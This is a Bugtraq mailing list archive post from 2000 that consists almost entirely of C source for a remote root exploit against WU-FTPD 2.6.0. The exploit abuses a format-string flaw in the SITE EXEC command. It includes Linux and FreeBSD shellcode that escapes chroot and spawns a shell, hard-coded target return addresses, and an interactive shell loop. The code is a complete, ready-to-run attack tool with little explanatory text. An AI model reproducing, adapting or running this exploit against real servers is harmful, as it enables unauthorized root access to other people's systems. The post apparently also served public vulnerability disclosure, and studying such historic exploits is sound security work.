Bugtraq mailing list archives

WUFTPD 2.6.0 remote root exploit


From: venglin () FREEBSD LUBLIN PL (Przemyslaw Frasunek)
Date: Fri, 23 Jun 2000 03:14:15 +0200


/*
 * (c) 2000 venglin / b0f
 * http://b0f.freebsd.lublin.pl
 *
 * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
 *
 * Idea and preliminary version of exploit by tf8
 *
 * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
 * Dedicated to ksm.
 *
 * **PRIVATE**DO*NOT*DISTRIBUTE**
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>

#define repln   if (getreply(0) < 0) return -1
#define replv   if (getreply(1) < 0) return -1

#ifdef DEBUG
#define repl replv
#else
#define repl repln
#endif

char usage[] = "usage: bobek [-l login] [-o port] [-t type] hostname";
char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
FILE *cin, *cout;

char linuxcode[]= /* Lam3rZ chroot() code */
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
        "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
        "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
        "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
        "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
        "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
        "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
        "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
        "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
        "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
        "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
        "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
        "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
        "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
        "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
        "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
        "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
        "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
        "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
        "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
        "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
        "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
        "\x67\x6c\x69\x6e";

struct platforms
{
        char *os;
        char *version;
        char *code;
        int align;
        int eipoff;
        long ret;
        long retloc;
        int sleep;
};

struct platforms targ[] =
{
        { "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10,
                0xbfbfcc04, 0 },
        { "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510,
                0xbfbfec0c, 0 },
        { "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c,
                0xbfbfcc04, 0 },
        { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0xbfbf,
                0xbfffcf74, 10 },

        { NULL, NULL, NULL, 0, NULL, NULL, 0 }
};

long getip(name)
char *name;
{
        struct hostent *hp;
        long ip;
        extern int h_errno;

        if ((ip = inet_addr(name)) < 0)
        {
                if (!(hp = gethostbyname(name)))
                {
                        fprintf(stderr, "gethostbyname(): %s\n",
                                strerror(h_errno));
                        exit(1);
                }
                memcpy(&ip, (hp->h_addr), 4);
        }

        return ip;
}

int connecttoftp(host, port)
char *host;
int port;
{
        int sockfd;
        struct sockaddr_in cli;

        bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_addr.s_addr=getip(host);
        cli.sin_port = htons(port);

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                perror("socket");
                return -1;
        }

        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
        {
                perror("connect");
                close(sockfd);
                return -1;
        }

        cin = fdopen(sockfd, "r");
        cout = fdopen(sockfd, "w");

        if (!cin || !cout)
        {
                close(sockfd);
                return -1;
        }

        return sockfd;
}

int command(const char *fmt, ...)
{
        va_list args;

        if (!cout)
                return -1;

        va_start(args, fmt);
        vfprintf(cout, fmt, args);

#ifdef DEBUG
        fprintf(stderr, "--> ");
        vfprintf(stderr, fmt, args);
        fputc('\n', stderr);
#endif

        va_end(args);

        fputs("\r\n", cout);
        (void)fflush(cout);
        return 0;
}

int getreply(v)
int v;
{
        if (!(fgets(recvbuf, BUFSIZ, cin)))
                return -1;

        if (v)
                fprintf(stderr, "<-- %s", recvbuf);

        return 0;
}

int logintoftp(login, passwd)
char *login, *passwd;
{
        repl;

        if (strncmp(recvbuf, "220", 3))
                return -1;

        if ((command("USER %s", login)) < 0)
                return -1;

        repl;

        if (strncmp(recvbuf, "331", 3))
        {
                puts(recvbuf);
                return -1;
        }

        if ((command("PASS %s", passwd) < 0))
                return -1;

        repl;

        if (strncmp(recvbuf, "230", 3))
        {
                puts(recvbuf);
                return -1;
        }

        return 0;
}

int checkvuln(void)
{
        command("SITE EXEC %%p");
        repl;

        if(strncmp(recvbuf, "200-", 4))
                return -1;

        if(strncmp(recvbuf+4, "0x", 2))
                return -1;

        repl;

        return 0;
}

int findeip(eipoff, align)
int eipoff, align;
{
        int i, j, off;
        char *p1;
        char eip1[10], eip2[10];

        for (i=eipoff;;i+=8)
        {
                fprintf(stderr, "at offset %d\n", i);
                strcpy(sendbuf, "SITE EXEC ");

                for (j=0;j<align;j++) strcat(sendbuf, "a");
                strcat(sendbuf, "abcd");

                for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
                for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d");
                strcat(sendbuf, "|%%.8x|%%.8x");

                if (command(sendbuf) < 0)
                        return -1;

                repl;

                if (!(p1 = strchr(recvbuf, '|')))
                        return -1;

                strncpy(eip1, p1+1, 8);
                strncpy(eip2, p1+10, 8);

                eip1[8] = eip2[8] = '\0';

                if (!(strcmp(eip1, "64636261")))
                {
                        off = i;
                        break;
                }

                if (!(strcmp(eip2, "64636261")))
                {
                        off = i + 4;
                        break;
                }

                repl;
        }

        repl;

        return off;
}

char *putshell(type)
int type;
{
        static char buf[400];
        int noplen;

        char *code = targ[type].code;

        noplen = sizeof(buf) - strlen(code) - 2;

        memset(buf, 0x90, noplen);
        buf[noplen+1] = '\0';
        strcat(buf, code);

        return buf;
}

int overwrite(ptr, off, align, retloc, eipoff)
long ptr, retloc;
int off, align, eipoff;
{
        int i, size = 0;
        char buf[100];

        fprintf(stderr, "RET: %p, RET location: %p,"
                " RET location offset on stack: %d\n",
                (void *)ptr, (void *)retloc, off);

        if (off >= 12)
        {

                strcpy(sendbuf, "SITE EXEC ");

                for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
                for (i=0;i<(off-eipoff-4)/8;i++) strcat(sendbuf, "%%d");

                if (((off-eipoff-4) % 8) != 0) strcat(sendbuf, "%%d");

                if (command(sendbuf) < 0)
                        return -1;      

                repl;

                size = strlen(recvbuf+4) - 2;

                repl;
        }

        fprintf(stderr, "Reply size: %d, New RET: %p\n", size,
                (void *)(ptr-size));

        strcpy(sendbuf, "SITE EXEC ");
        for (i=0;i<align;i++) strcat(sendbuf, "a");

        sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
                (((int)retloc & 0xff00) >> 8),
                (((int)retloc & 0xff0000) >> 16),
                (((int)retloc & 0xff000000) >> 24));

        strcat(sendbuf, buf);

        for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
        for (i=0;i<(off-eipoff-4)/8;i++) strcat(sendbuf, "%%d");

        if (((off-eipoff-4) % 8) != 0) strcat(sendbuf, "%%d");

        strcat(sendbuf, "%%.");
        sprintf(buf, "%d", (int)ptr-size);
        strcat(sendbuf, buf);
        strcat(sendbuf, "d%%n");

        if (command(sendbuf) < 0)
                return -1;

        return 0;
}

int sh(sockfd)
int sockfd;
{
        char buf[BUFSIZ];
        int c;
        fd_set rf, drugi;
        char cmd[] = "uname -a ; pwd ; id\n";

        FD_ZERO(&rf);
        FD_SET(0, &rf);
        FD_SET(sockfd, &rf);
        write(sockfd, cmd, strlen(cmd));

        while (1)
        {
                bzero(buf, BUFSIZ);
                memcpy (&drugi, &rf, sizeof(rf));
                select(sockfd+1, &drugi, NULL, NULL, NULL);
                if (FD_ISSET(0, &drugi))
                {
                        c = read(0, buf, BUFSIZ);
                        send(sockfd, buf, c, 0x4);
                }

                if (FD_ISSET(sockfd, &drugi))
                {
                        c = read(sockfd, buf, BUFSIZ);
                        if (c<0) return 0;
                        write(1,buf,c);
                }
        }
}

int main(argc, argv)
int argc;
char **argv;
{
        extern int optind, opterr;
        extern char *optarg;
        int ch, type, port, eipoff, fd, retoff, align;
        long ret, retloc;
        char login[BUFSIZ], password[BUFSIZ];

        opterr = type = 0;
        strcpy(login, "ftp");
        port = 21;

        while ((ch = getopt(argc, argv, "l:d:t:o")) != -1)
                switch((char)ch)        
                {
                        case 'l':
                                strcpy(login, optarg);
                                break;

                        case 't':
                                type = atoi(optarg);
                                break;

                        case 'o':
                                port = atoi(optarg);
                                break;

                        case '?':
                        default:
                                puts(usage);
                                exit(0);
                }

        argc -= optind;
        argv += optind;

        fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n",
                targ[type].os, targ[type].version);

        eipoff = targ[type].eipoff;
        align = targ[type].align;
        ret = targ[type].ret;
        retloc = targ[type].retloc;

        if (argc != 1)
        {
                puts(usage);
                exit(0);
        }

        strcpy(password, putshell(type));

        if ((fd = connecttoftp(*argv, port)) < 0)
        {
                (void)fprintf(stderr, "Connection to %s failed.\n", *argv);
                exit(1);
        }

        (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);

        if (logintoftp(login, password) < 0)
        {
                (void)fprintf(stderr, "Logging in to %s (%s) failed.\n",
                        *argv, login);
                exit(1);
        }

        (void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n",
                login);

        sleep(targ[type].sleep);

        if (checkvuln() < 0)
        {
                (void)fprintf(stderr, "Sorry, this version isn't"
                        " vulnerable or uses internal vsnprintf().\n");
                exit(1);
        }

        (void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n",
                eipoff);

        if ((retoff = findeip(eipoff, align)) < 0)
        {
                (void)fprintf(stderr, "\nError finding offset. Adjust"
                        " align.\n");
                exit(1);
        }

        if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
        {
                (void)fprintf(stderr, "Error overwriting RET addr.\n");
                exit(1);
        }

        fprintf(stderr, "Wait 10-20 seconds for reply. Enjoy your shell.\n");

        sh(fd);

        exit(0);
}

--
* Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL: PMF9-RIPE *
* Inet: venglin () freebsd lublin pl ** PGP: D48684904685DF43  EA93AFA13BE170BF *



Current thread: